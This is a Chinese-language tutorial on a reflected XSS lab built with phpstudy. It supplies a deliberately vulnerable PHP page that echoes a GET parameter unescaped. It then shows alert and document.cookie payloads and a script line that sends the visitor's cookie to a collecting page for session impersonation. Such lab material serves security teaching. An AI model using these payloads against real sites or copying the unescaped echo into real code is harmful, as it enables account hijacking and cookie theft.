1. 程式人生 > 其它 >web安全之xss跨站指令碼攻擊

web安全之xss跨站指令碼攻擊

實驗(一) 一、預備知識 1、HTML基礎知識 2、phpstudy運用 3、xss的分類 二、實驗環境 1、火狐瀏覽器、Chrome瀏覽器 2、phpstudy 三、環境搭建 反射型xss環境搭建 1、原始碼: <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>反射型XSS測試</title> </head> <form action="" method="get"> <input type="text" name="msg"/>
<input type="submit" value="submit"/> </form> <?php if(isset($_GET['msg']) && $_GET['msg'] != '') { echo '您輸入的內容為:' . $_GET['msg']; } 2、將檔案型別儲存為.php並放入phpstudy中---具體操作點選連結 https://blog.csdn.net/qq_21237549/article/details/106045287 四、實驗步驟 正常情況下,使用者只會輸入一些普通字元,也就是數字、字母或者中文,所以,不會有什麼安全問題。
1、首先開啟本次實驗的頁面,localhost/1.php,隨便輸入一些普通字元測試,我輸入的內容為“中國奧運加油”。 然後點選submit,提交資料,會直接輸出我們輸入的內容,注意這裡使用的是GET方法傳參 2、我們輸入<script>alert(1)</script>測試,測試XSS最常用的就是<script>alert(1)</script>,如果頁面存在XSS,那麼就會彈出“1”這個字元。 3、 點選確定,發現您輸入的內容後面沒有任何顯示,在頁面滑鼠右擊,選擇檢視頁面原始碼,可以看到我們輸入的內容確實輸出了。 但沒有顯示出來,why???
因為我們輸入的資料被當成了程式碼來執行,如何確定我們輸入的資料是否被瀏覽器當成程式碼解析了呢? 一檢視我們輸入的標籤的字型的顏色,如果是深紫色,則代表它被當成了程式碼來解析。 像這種獲取了使用者的輸入後,直接就在頁面輸出,沒有經過資料庫的XSS,就稱為反射型XSS,他只是簡單地把使用者輸入的資料“反射”了。所以,要觸發這種XSS,使用者必須訪問特定的連結。而且程式碼會直接顯示在瀏覽器位址列,很明顯,所以反射型XSS比較容易發現,而且現在的瀏覽器一般都帶有XSS過濾器。比如Chrome。 4、我們可以輸入其他的JS程式碼,來讓瀏覽器做其他的事,比如彈出使用者cookie,在輸入框中輸入<script>alert(document.cookie)</script>,其中document.cookie可以用來獲取使用者的cookie。提交後發現彈出視窗中內容為空白 5、修改該頁面原始碼,當訪問頁面的時候,設定一下cookie,並啟用session 6、在訪問該頁面的時候,就會設定一個cookie,名稱為username,值為xssuser,還會產生一個session。session同樣用來識別使用者身份,只是session是服務端維護,不是儲存在客戶端,我們不需要知道session的值具體含義。儲存後再次訪問該頁面,重複上面的步驟,就會彈出新設定的cookie。 上面的語句只能彈出使用者的cookie,我們如何通過XSS得到使用者的cookie呢?畢竟如果只是彈出的話,只有訪問該頁面的人才能看到,而我們是看不到的。 我們可以通過JS,構造一個請求,來請求一個我們有許可權的頁面,在構造請求的時候,把使用者的cookie當作引數傳過去,然後我們就可以在這個頁面裡,接收傳過來的引數,然後再儲存起來。所以首先需要寫一個接收cookie的頁面,它能夠接收某個引數,然後儲存起來。頁面寫好儲存在c:\wamp\www\xss\的目錄 25.php這個檔案就是用來接收cookie並儲存的,原始碼如下: 7、輸入語句<script>new Image().src="http://localhost/1.php/25.php?msg="+encodeURI(document.cookie);</script> 然後點選submit,然後進入C:\wamp\www\xss目錄,開啟cookies.txt,就可以看到當前訪問http://xss.com/xss-ref.php這個頁面的人的cookie。 這樣就拿到了使用者的cookie,拿到cookie後,我們就可以替換cookie來冒充其他人的身份,來做一些惡意操作。